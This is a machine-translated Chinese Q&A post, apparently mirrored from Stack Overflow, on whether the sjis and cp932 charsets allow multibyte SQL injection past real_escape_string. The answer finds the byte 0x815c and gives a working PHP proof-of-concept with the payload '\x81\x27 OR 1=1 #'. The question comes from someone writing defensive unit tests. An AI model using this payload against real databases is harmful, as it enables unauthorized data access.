我正在编写一些单元测试,以确保我的代码不容易受到各种字符集下的SQL注入(inject)的攻击。
根据this answer的介绍,您可以通过使用以下字符集之一注入(inject)\xbf\x27
来创建漏洞:big5
,cp932
,gb2312
,gbk
和sjis
这是因为,如果您的转义符配置不正确,它将看到0x27
并尝试对其进行转义,使其变为\xbf\x5c\x27
。但是,\xbf\x5c
实际上是这些字符集中的一个字符,因此引号(0x27
)不转义。
但是,正如我通过测试发现的那样,这并非完全正确。它适用于big5
,gb2312
和gbk
,但 0xbf27
和 0xbf5c
都不是sjis
和cp932
中的有效字符。
都
mb_strpos("abc\xbf\x27def","'",0,'sjis')
和
mb_strpos("abc\xbf\x27def","'",0,'cp932')
返回
4
。即,PHP不会将\xbf\x27
视为单个字符。这将返回false
,big5
和gb2312
的gbk
。此外,这:
mb_strlen("\xbf\x5c",'sjis')
返回
2
(返回1
的gbk
)。因此,问题是:是否存在另一个字符序列,使得
sjis
和cp932
容易受到SQL注入(inject)的攻击,或者它们实际上根本不易受到攻击?还是PHP在说谎,我完全弄错了,MySQL对此的解释会完全不同? 最佳答案
细节在于细节……让我们从answer in question如何描述易受攻击的字符集的列表开始:
这给了我们一些上下文-0xbf5c
用作gbk
的示例,而不是用作所有5个字符集的通用字符。
碰巧的是,相同的字节序列也是big5
和gb2312
下的有效字符。
至此,您的问题变得如此简单:
公平地说,我为这些字符集尝试的大多数Google搜索都没有给出任何有用的结果。但是我确实找到了this CP932.TXT file,如果您在其中搜索'5c '
(带有空格),您将跳至此行:
我们有一个赢家! :)
Some Oracle document确认0x815c
与cp932
和sjis
是相同的字符,PHP也可以识别它:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
这是攻击的PoC脚本:
<?php
$username = 'username';
$password = 'password';
$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}